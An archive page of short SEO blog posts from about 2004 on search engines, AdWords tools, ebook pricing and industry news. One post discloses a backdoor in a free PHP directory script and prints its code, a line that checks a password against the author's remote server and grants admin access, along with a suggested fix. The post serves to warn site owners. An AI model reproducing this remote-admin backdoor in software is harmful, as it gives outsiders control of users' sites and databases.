Improve your rankings, traffic, and profits today. The SEO Book training program offers you:

• Over 100 training modules, covering topics like: keyword research, link building, site architecture, website monetization, pay per click ads, tracking results, and more.
• An exclusive interactive community forum
• Members only videos and tools
• Additional bonuses - like data spreadsheets, and money saving tips
• Every order comes risk free, and with the best selling SEO Book as a free bonus

Watch this video to learn more.

Join The #1 Online SEO Community

Hear what our members say about the #1 SEO Community. Here are some of our recent thread topics:

Improve your rankings today!

Google Launches Froogle UK
Google Launches Froogle UK: http://www.google.co.uk/froogle

FindWhat Directory & Search in a Box...

Through a step-by-step, wizard-driven set up, AdRevenue Xpress partners add search box and/or directory functionality to show ads from the FindWhat.com Network(TM). source: press release via Andy

Disco Inferno
Burn Baby Burn <--- cheesy 70s line & a link to a fun free new game where you get to play a magnifying glass
(thanks to Reality Carnival)

Subscribe to our blog via email or RSS to get more great posts like this one.

Fake SEO Forum?
Probably didn't think people would notice them about a week after they created their absolutely fake forum, but I did. Web-Advertising-Info = complete garbage...

Subscribe to our blog via email or RSS to get more great posts like this one.

Quick, Ask Jeeves...
If you want to join the Ask Jeeves paid inclusion program today is the last day you can join. I don't recommend it for most sites. One of Ask's biggest problems is inadequate crawl frequency and slow site addition to their index. Hopefully they will improve their crawl after they kill off their paid inclusion program.

Clusty
Vivisimo is a somewhat hard name for some people to say, spell, and remember. So they decided to launch a new site by the name of Clusty ... though some people may mix that up with Krusty. After all, Matt Groening is a hero.

The people at Clusty do understand a thing or two about marketing though... they have features which allow you to search and cluster blogs or Slashdot.

While playing aroud with Clusty I found a...fake SEO Forum (next post)

Subscribe to our blog via email or RSS to get more great posts like this one.

New AdWords Tool:
AdWord Tracker is a new tool which compares where some of your competitors ads are placed over time. Analyzing this data can help you find where some of the advertising sweet spots are (it is not always best to rank at #1). Additionally they collect data such as how many estimated impressions each advertiser is making and what words they are advertising for.

Example AdWord Tracker Date
For keyword phrases such as "flat screen TV" AdWord Tracker will give you:

• businesses advertising in this cateogry

• Adwords with high #of advertisers
• Adwords with lowest #of advertisers
• Advertisers with highest impression
• Advertisers subscribing to maximum AdWords

Most of the keywords you may want to track are likely not going to be in the system off the start. You can sign up to add up to two phrases to the system though.

I am not sure how this data is collected or how accurate it is, but if it is anywhere near accurate then it is dirt cheap competitive analysis. I did not see anywhere on the site where it said specifically how / where it collected the data and if/how it could account for other bots and programs like itself which skew traffic numbers.

AdWord Tracker Price
AdWord Tracker will track a couple AdWords keywords for you for free off the start and then charges either $4.99 for 3 months, $14.99/year.

I have to try it out a bit to see how good it will be, but it could be a useful tool. Google may try to make this data harder to collect if they are collecting good data. Cheap keyword research...come and get it ;-)

I am going to ask the owner how he collects that data and whatnot.

Subscribe to our blog via email or RSS to get more great posts like this one.

Branded Search ROI
Google exec David Scacco spoke at the ChannelAdvisor summit. Among Andy Beal's notes of his speech were the following #s

28% of Google searches are for a "product name", 9% are for a "brand name" and 5% are searches for a "company name". "Brand" keywords also have a 8x higher ROI than generic keywords

New Yahoo! Search Functions
Greg R. Notess updated his Yahoo! Search review to include the new Yahoo! search features... stem:, domain:, feature:homepage, feature:index, feature:meta, and the region: limits.
(thanks to Dodger)

Subscribe to our blog via email or RSS to get more great posts like this one.

Algorithm Change
Around September 23^rd many webmasters stated they lost a bunch of their traffic from Google.

Google to Change Their Way of Rewarding Linkage Data?
DaveN is a fairly well respected SEO who recently made the following statements at the SEW Forums:

the whole PR / Linkage Game has changed. Just be careful how and where you buy PR these days. ... Last time I spoke to my friends from the plex, they where working on the ability to add - positive and negative weight to links depending on how they looked Via there GUI. ... I have never seen the GUI but from what I can gather it will highlight un natural areas on page, think about where most people put there sold links.

How is Google Fighting Artificial Link Manipulation?
A ton of ways...

• Make SEO itself sound a bit sketchy.

• Show bunk backlinks.
• Not update PageRank.
• Deweighting links from the same C block IP address range. (Google may also use WhoIs lookup data).
• Manually penalize some sites for buying or selling PageRank...or for being in circles that make it seem like you are doing that.
• Prevent certain sites from parsing outbound link popularity.
• Automatically penalize sites for using the same link text too frequently.
• Now they are potentially going to look for ways to not only devalue links, but also potentially make them have negative value based on abnormal linkage patterns.
  
• They are also probably doing a bunch of other things I do not know of or forgot to list.

Anyone who does not believe in the power of link building should ask themselves why Google is putting so much effort into making it harder to do.

Subscribe to our blog via email or RSS to get more great posts like this one.

How to: Automate Reciprocal Link Exchanges
I am not normally a fan of automating link exchange contact emails, but Doug Heil (also known as Ihelpyouservices) points out a "refreshing" link exchange request email that did a good job of fooling him. Arelis is one of the more popular reciprocal link exchange software programs.

Subscribe to our blog via email or RSS to get more great posts like this one.

Tens of thousands of businesses, large and small, use Google Adwords and Overture Match (from Yahoo!) to advertise their products and services on the Internet. ... There are many variables, but SEM professionals have focused heavily on the importance of "keywords" – to the extent that entire sub-industries have sprung up to show clients how to create lists of keywords! What has been overlooked, in our estimation, is the good old art of copywriting itself – how you write the ad. ... After all, an ad is an ad whether it appears in a newspaper, a magazine, or on Google or Overture. You've got space for a short headline and a brief description – briefer on Google than Overture, but at least Google doesn't truncate your listing, as Overture does. Given how little space you get to work with, and the fact that you have no visual opportunity, it is crucial to create compelling, snappy ads. Unfortunately, the vast majority are nothing of the sort. Most of them look like badly written classified ads – and that's the main reason most of them will deliver poor click through rates and disappointing results. source: BusinessKnowledgeSource.com

Frequently direct ads that are focused on the customers needs and wants use easy to understand language and are the best performing ads. Many classified ads are tested over and over again...against the rain, the day of the week, the season, etc. and they continue to reappear because they provide exactly what the consumer wants. Most flashy magazine or TV type ads are not tested anywhere near as deeply...if they were, more of them would become the boring ads that speak directly to the consumer.

Subscribe to our blog via email or RSS to get more great posts like this one.

I need better img alt tags & more on topic inbound links!!! please link to this site ;)

I got my Search Readiness Report PDF report back from Ineedhits.com

$30 is not a ton to spend for individualized report so I did not expect to get a ton out of the report. I would say if you are new to the web it might be well worth spending $30 on the report. They really only need to find one thing wrong or teach you one good tip to make the report worth its price. One thing I would recommend to improve the report is to give 1 to 10 type scores for each element of the report versus yes or no results.

Subscribe to our blog via email or RSS to get more great posts like this one.

The 80 / 20 rule
Well sort of... ComScore search results for July show that 20% of searchers do 68% of the searching.

My Yahoo!
New beta release of My Yahoo!. Allows you to add any RSS feed and other good stuff...Jeremy has the details

Word of the Day: Masala
man that sounds like a crazy word...definition...as it relates to search: it is the name of IBM's new beta corporate search product. starting at only 4K / computer, it can search many filetypes that web based search engines do not. I am thinking of buying a copy of the "unlimited" edition for $125,000 per CPU.

Subscribe to our blog via email or RSS to get more great posts like this one.

Not Sure that I Totally Buy this Idea, but...

Analysts predict Google will have greater earnings from Gmail ads than from its search engine ads since they are more direct and concentrated. source: You Got Mail (And Ads)

Not Sure if You Should Buy the Stock?

According to figures released by the Nasdaq on Monday, 4.1 million of Google's shares were being held short as of mid-September. That amounts to more than 21 percent of the stock's available float. ... Google to report their first public results on October 21^ST source: Google's veil of secrecy

thanks to Andy

Subscribe to our blog via email or RSS to get more great posts like this one.

Google News: Conservative Bias?
Many top news sources do not use first names in their headlines. Many second tier news sites do, and thus many right wing articles appear in Google News for John Kerry searches. Everybody wants to make sure they get enough cookies...

Looking Smart?
LookSmart purchases FURL. FURL is a bookmarking / research management software program.

A New Blog
http://sempo-tahoe.blogspot.com/...the blog for SEMPO Tahoo

Atomz Site Search to Add Contextual Ads
http://www.webmasterworld.com/forum10/6698.htm

Google Keyword Insertion
A while ago I posted about how you can dynamically insert the desired search term into the title of AdWords ads. Now you can also send the triggering AdWords keyword in the actual destination URL. Probably not as useful for tracking as the HTTP referer, but it can still be useful perhaps in some affiliate program tracking stuff.

The destination URL looks something like:
http://www.domain.com/?kw={keyword} or
http://www.domain.com/?group=1&kw={keyword}

I have not tried it out yet, but it sounds like an interesting feature.

Subscribe to our blog via email or RSS to get more great posts like this one.

Clarity:
Google to more clearly publish ad guidelines while clearly censoring news... (evil, evil, evil...)

Google of the North Country
Google partnered with the Yellow Pages Group Canada for Google Local Canadian.
Good song: Girl of the North Country (audio clip)

Candid
John Scott on DMOZ

And if you don't know...
you better Aks Somebody <--- he may curse @ you

Subscribe to our blog via email or RSS to get more great posts like this one.

If the Glove...
Hamburg court finds Google not guilty for allowing advertising on branded keywords

Ask Jeeves...
Serves it Your Way (message not sponsored by Burger King)
Cheesy World Tour Video
Ask is also partnering with Topix to provide news.

Google Toolbar Evil?
Perhaps Daniel Brandt has been right all along? (apparently I am evil too and may soon be featured in Google Watch) ... Toolbar Scripting Vulnerability

Yet Another Keyword Generator Tool
Keyword Lizard

Subscribe to our blog via email or RSS to get more great posts like this one.

Shy? New to Forums?
fun new guide makes posting a breeze!

(there might be a few curse words at the other end of that link)

Becoming an SEM Big Dog?
Sempo Tahoe.com

Ask Jeeves:

• about local search;

• about personalization; &
• about a SEO review? Not really sure what the INeedHits $30 review will get ya, but I just ordered it...will hopefully let you know soon.

Big French SEO...
got a big thumbs down from Google.

Free Email
ping me if you want a Gmail. I will give them away until I run out.
also consider giving http://www.abc...ijk.com/ a try

Search for Obscure Stuff?
find stuff that you Can't Find on Google

Subscribe to our blog via email or RSS to get more great posts like this one.

Fresh, New: Search Engine Watch blog

Have it Your Way: Ask Jeeves makeover promoting search personalization?

Half Off: Yahoo! Search results sometimes show 10 results instead of 20

Free Money: A9 goes out of beta & Amazon offers A9 users a discount (which I think is still less than the Amazon associate program payout).

SEO Toolbar: Not from Daniel Brandt, SearchStatus is a new FireFox / Mozilla extension to easily provide search engine related site info.

Intoxicatingly Fun: Thanks to everybody for making SEO Roadshow fun. (including you MR NFFC)

More from SEO Roadshow:
Mike Grehan posted a bunch of pics and there is a SEO Roadshow review thread at SEW Forums.

Subscribe to our blog via email or RSS to get more great posts like this one.

Right as Google updates its local search...
Ask Jeeves disappears?

I am going to go look for him in London.

Subscribe to our blog via email or RSS to get more great posts like this one.

$160M cash...press release
(thanks to Gary P)

Subscribe to our blog via email or RSS to get more great posts like this one.

Einat Amitay's Web IR & IE has a bunch of links to technical research in the search field. Chris Sherman covered this site in SearchDay.

Subscribe to our blog via email or RSS to get more great posts like this one.

AOL Shopping: AOL to launch In-Store.com comparison shopping service. You can try out the technology at http://www.pinpointshopping.com.

BizRate.com largely developed the Pinpoint Shopping function for AOL in exchange for a share of revenue when customers click on a merchant's product.

Yaho! Blogging: Yahoo! hiring for blogging service related positions

Subscribe to our blog via email or RSS to get more great posts like this one.

What is Goog Edit?
Goog Edit is an extremely useful simple program which makes managing Google AdWords campaigns easier...for free.

What does Goog Edit do?
Taking in a keywords list, it cleans it up for use in Google AdWords campaigns:

• Removes invalid characters (quotes and brackets, leading, trailing, and doubled spaces).

• Removes duplicates.
• Makes all entries lower case.
• Sorts the list.

From there, it then applies several Google keyword rules to better help you track traffic & conversions:

• Multiword phrases are duplicated, and quotes are placed around (Google's 'phrase match').

• All entries are duplicated, and brackets are placed around ('exact match').
• All entries are also used as entered without quotes or brackets ("broad match").

Goog Edit's Other Useful Features
Additionally this tool is great for doing many other features with AdWords. Added useful features include:

• Optional Number Stripper: If you copy data from a keyword research tool such as the Overture Keyword Suggestion Tool or the Digital Point's Keyword Suggestion Tool you now can easily strip search volumes out of your keyword list.

• Phrase Remover: Many times stored data has useless charaters of some sort in it. You can easily remove these using the Goog Edit phrase remover.
• Word List Combiner: You can add identifiers or various word combinations in sequenced lists and use this tool to create a list of all combinations and format it for Google AdWords.

One of my favorite parts about this blog is finding cool new programs and helping programmers make their software even cooler. David is willing to add other features if you can think of any. Download Goog Edit Today

Thanks for making the cool software David :)

Subscribe to our blog via email or RSS to get more great posts like this one.

This does not have much to do with SEO, but has a ton to do with marketing any business.

All too often online businesses use the "cheap price" branding / sales angle. There will always be someone else who is cheaper. Cheap is not an effective longterm business strategy for most businesses... especially online.

I have been pricing my ebook at $40 because I wanted to make it cheap and affordable to a maximum number of people. While my sales have well exceeded my expectation many of my friends have been telling me that it is the wrong price point.

Example:
I could try to sell my ebook for $10, but likely most people would not buy it because at that price most people would think it is garbage.

I do understand the concept that it is better to push value than price... I am not really doing anyone a favor if a low price is turning people off. The price is arbitrary. It is the value that is important. A higher price may give a higher perceived value.

A couple other SEO ebooks are selling at higher price points ($67 or $97). A bunch of my friends stated that I should price my ebook at $67 and a few think I should charge $97 and an ongoing subscription fee.

I will likely raise the price of my ebook soon, but I am going to wait until after I talk to that cool cat NFFC from SEO Roadshow.

A couple good threads / articles / books on the concept of branding and / or price points:

• Kick ass post by NFFC

• Branding & Generic Dot Com Business Models - article by John Scott. Fun and slightly offensive to some, but 100% honest good advice.
• Wikipedia: Price Points
• The Revenge of Brand X - my favorite branding book.
• Purple Cow - book about being remarkable / different.

Subscribe to our blog via email or RSS to get more great posts like this one.

One of the best ways to get lots of cheap traffic is to appear on AdSense ads for many people writing articles in your industry. One technique to help acquire this traffic is to bid on some of the names of various article authors.

Some people are not a fan of this and some are.

I have gotten a wide variety of responses:

• "I am honored you are bidding on my name."

• Tell me the search volume you are getting and I will give you a free $100 gift.
• I have also got a phone call, a cease and decist letter, and a copyright violation notice.
• Recently I noticed the following ad:
  
  running on AdWords for "SEO Book" and "Aaron Wahl." If one wants to use my name as a marketing / brand strategy you would think that they would take the time to spell it correctly? It is a good idea to use misspelled words to pick up additional traffic, but the incorrect spelling & targeting means the ad will likely get limited distribution and makes it lack credibility.

You should be aware of local trademark / copyright laws before bidding on competitors names. If they ask you to stop then I usually suggest doing so unless you are trying to push the envelope.

My goal is not to piss people off, but to:

• extend my distribution;

• build more link popularity;
• build business partnerships;
• and sell more ebooks.

Some of the responses you will get from other businesses will be positive...some will be negative. The good thing is that you are getting responses.

• Running these ads helps you open the doors to some future business partnerships.

• Running these ads helps you glimpse the motives and thought processes of others in your field.
• Running these ads also help you view some of the relative branding strength of various businesses / personalities in your industry.

Subscribe to our blog via email or RSS to get more great posts like this one.

Google has recently updated their backlinks again. You can view your backlinks at 216.239.51.105

(thanks for the scoop )

Subscribe to our blog via email or RSS to get more great posts like this one.

SEO Consultants reports that they believe Traffic Power has purchased the rights to and is now using 1P.com...Just in case you are wonder who Traffic Power is, here is a prior post titled Traffic Power & Cold Call SEO.

The original Traffic Power brand has a good bit of tarnish to it...I was wondering when they would adopt a new name.

Subscribe to our blog via email or RSS to get more great posts like this one.

Just a reminder to everyone about the upcoming SEO Roadshow conference in London. It is free, but by invite only.

If you can make it to London next week, need an invite, and are super cool just send me an email and I will see if I can invite a few more people.

Subscribe to our blog via email or RSS to get more great posts like this one.

Oilman and Baked Jake...Tuesday 7PM Eastern on YNotRadio. The show will either start next Tuesday or the one after it. Info will soon be up at SEOrockstar.com or SEOrockstars.com.

Please note there is a bit of adult advertising on the site and many adult commercials. Also some cursing and whatnot, but it looks like it could be fun if you are not likely to be offended by that sort of stuff.

There is also a live forum associated with the show with lots of old timers in the SEO field.

Subscribe to our blog via email or RSS to get more great posts like this one.

The PageRank Checksum algorithm has been cracked and available free for months. Google has not been updating visual PageRank display. Those ideas may or may not have anything to do with one another, but Google recently changed the toolbar checksum algorithm.

Subscribe to our blog via email or RSS to get more great posts like this one.

SEMPO is Driven
If people had to say one positive thing about SEMPO it would be that they are driven toward a goal...they will not let petty feedback get in the way of that goal.

The problem is: nobody knows what that particular goal is?

The New SEMPO Weblog Press Release Collection
SEMPO recently created a press release weblog.

After thinking "what the hell is this?" I tried to post a comment into their blog. Unfortunately their comments are pre moderated. You will likely never read the comment I left. My comment did have a link to http://www.cluetrain.com/ though.

So much for that open feedback loop that makes the web great.

Danny Sullivan on SEMPO
Danny Sullivan just released a lengthy article titled Reflections on SEMPO, where he reviews many of the problems SEMPO has faced and announced he and Chris Sherman are resigning from the SEMPO advisory board.

Support for SEMPO seems to dwindle a bit more with each passing day.

Subscribe to our blog via email or RSS to get more great posts like this one.

Open Sourced Search:
Scalable Top-Based Open Source Search Engine

I am Begining to See The Light:
The Velvet Underground - cool...
Poynter Online Homepage Visual Paterns - interesting...

Cod Wa no Ichi
If Ichi means "good flavor" then the title is accurate.
My roommate cooked it tonight. Not a dish I recommend. :(

Subscribe to our blog via email or RSS to get more great posts like this one.

When setting up a Google AdWords campaign today I noticed that Google ran it through some sort of relevancy checker. At SEW Forums AdWords Advisor stated this new automatic review feature is aimed at streamlining the review process and helping ads get listed quicker.

Subscribe to our blog via email or RSS to get more great posts like this one.

Yahoo! stated that tonight they will be opening a new travel service at FareChase using their SmartSort technology. (Currently that site is password protected).

Another recent travel company now in beta is Kayak.

Thanks to SEW forums.

Subscribe to our blog via email or RSS to get more great posts like this one.

Gary has a new site called Docuticker keeping track of some of the newer search and other useful research papers / documents.

More info about Docuticker

(thanks to Andy)

Subscribe to our blog via email or RSS to get more great posts like this one.

Starting in October, we're introducing "Budget smoothing", another new feature in which the Overture system makes adjustments to the frequency in which your listings are displayed based on the depletion of your specified budget amount. For example, if you have budgeted €100,00 a day, our system will display your listings just enough so that you receive clicks that will total approximately €100,00 for the day. The smoothing feature also regulates the display of your listings so that you receive clicks throughout the day, rather than burning through your budgeted amount in just a few hours.

From Overture Germany (not yet sure when the global rollout will occur. Will likely know soon...)

thanks to AussieWebmaster @ SEW forums

Subscribe to our blog via email or RSS to get more great posts like this one.

Because it is pretty damn bogus.

[update: Javier has removed the database access egg from his script.]

Tons of new directories are springing up using the Free PHP Directory Script created by Javier García Esteban (of Directory-Search or Biz-Directory). While his download page states "the script runs without known bugs with PHP4 and MySQL3," the script also ran with known eggs put in the programming.

Anyone who puts eggs in their software so they can have backdoor access to anyone using it does not have the best intentions for their users.

The two eggs I have been told about are:

• on line 62 of install_4.php - sends a referer to his directory
  
  <IMG SRC="http://www.directory-search.org/img/invis.gif" WIDTH=1 HEIGHT=1>

• on line 60 of include.php (must scroll to the right) - allowed Javier database access
  
  if ($pass) { $access = fopen ("http://www.directory-search.org/include_variables.php?p=$pass","r"); $access = fread($access,4); if ($access == "true"){ session_start(); $HTTP_SESSION_VARS['admin'] = true; header("Location: {$dir}admin_edit.php"); }; };

The first egg is harmless. It only identifies new installations. The second egg gave Javier access to your database.

The eggs are not hard to remove from the directory script. If you have an old version of the script you may want to remove the eggs.

• You can replace the image in the first egg with your own image or just delete that line of code. That first egg really is no big deal.

• The second egg is complete crap. [added: The second egg gives Javier backdoor access to the script. After I posted this Javier stated that he removed that egg. It is a shame that it was ever there in the first place.]

  To remove the second egg you need to remove that above part on line 60 (scroll way to the right) of include.php and replace it with:
  if ($pass) {
  $rand = md5(time());
  $access = fopen ("p=$rand","r");
  $access = fread($access,4);
  if ($access == "true") {
  session_start();
  $HTTP_SESSION_VARS['admin'] = true;
  header("Location: {$dir}admin_edit.php");
  };
  };
  (at least this is what I did)
  I also changed my PHPmyAdmin panel login password after I changed the script. Javier stated that the password was never sent even when the egg was there...he just was using it for backdoor access...as he states in his comment below. He also stated the place which was sent the database access is now a 404 error.

Thanks to MarketingLady at V7N forums. More info about the Free PHP Directory Script Backdoor.

Subscribe to our blog via email or RSS to get more great posts like this one.

If Google and Overture (which is owned by Yahoo!) are held liable in this case their margins will drop sharply because of:

• Payout to Geico.

• Others will likely soon sue them.
• Search engines will be forced to police trademark laws (which will be time consuming and expensive).
• Search engines will have less ad space they can sell.

In my opinion selling an ad next to search results is like selling an ad next to an article in newspapers. I am no judge though but hopefully they are found not guilty.

Subscribe to our blog via email or RSS to get more great posts like this one.

Not sure how legit this is and am fairly certain it is againts the Gmail TOS, but a site is selling Gmail invites for 50 cents each?

I guess if you want one its worth a try...although I am not sure if this is just a marketing ploy to push thier free IPOD site idea (which I am told apparently has a bunch of costs to it) or what.

Subscribe to our blog via email or RSS to get more great posts like this one.

Jim at WeBuildPages recently created a free link analysis tool. It looks up the top 10 ranking sites for a keyword and returns:

• Pages indexed by Google & Yanoo!

• Yahoo! Backlinks (Page)
• Yahoo! Backlinks (Domain)
• Google PageRank
• Yahoo! WebRank
• Google allinanchor position
• Body KW Density
• & Link KW Density

The layout looks a bit like the layout of a tool I would make, but unlike a tool I would make ;) it actually works.

Subscribe to our blog via email or RSS to get more great posts like this one.

Overture's new system will simply allow a choice between exact and broad matching. ...Overture advertisers were to be informed today about the change. ... An exact date for it hasn't been announced, but Overture says it will happen in the next few weeks.

Search Engine Watch has a good article explaining the new Overture broad match move. Basically the change makes gaining greater search volume easier, but more expensive.

time to go update my ebook, and about 20 pages of my websites...

Subscribe to our blog via email or RSS to get more great posts like this one.

another SEO conference...SEM Live is ran by Andy Beal and his other WebSourced buds...

Date: October 26th, 2004.
Location: Raleigh, NC
Registration Cost:
North Carolina Residents
$99.00 before September 30th
$199.00 after September 30th
All Other Residents
$199.00 before September 30th
$299.00 after September 30th
More Info: SEM Live

other SEO conferences this fall / winter

Subscribe to our blog via email or RSS to get more great posts like this one.

Google updated their AdSense terms of service.

• Multiple ad units on a page: They now state that it is ok to display up to 3 ad units per page.

• Remove blank space: There is a new feature where the ad unit may be collapsed when no display ads are available.
• WebSearch for multiple sites: Your Search Settings page now provides you with the option of specifying multiple domains for SiteSearch. Simply enter up to three domains when generating your search code - your AdSense for search box will list each domain with a radio button, allowing your users to choose the site on which they would like to search.
• New name for WebSearch: They renamed WebSearch to "WebSearch plus AdSense for search."
• Dumb call: some ads now show "Ads by Goooooogle." Why is their name intentionally misspelled on a ton of pages when they want all ads to be spelled correctly?

Subscribe to our blog via email or RSS to get more great posts like this one.

Cost per Influence
Ross Mayfield has an interesting ad concept by the name of cost per influence. Using cost per influence advertising niche specific publishers will be able to start running interesting ads that they see on other sites.

So long as the account associated with funding that ad has money in it the idea spreads. Once the money runs out the ads die. If ads are productive then they will be continually fed more money until they are no longer productive.

This is a similar concept to how many newspaper classified ads are ran except with this the relevant ad locations pick themselves out for you. Interesting idea perhaps best described as viral affiliate marketing.

John Battelle also followed up with an in depth post titled "Sell Side Advertising."

Subscribe to our blog via email or RSS to get more great posts like this one.

Recently a new SEW Forum member stated that recently the got an email back from Google offering info about beta testing keyword filters on their ads.

Subscribe to our blog via email or RSS to get more great posts like this one.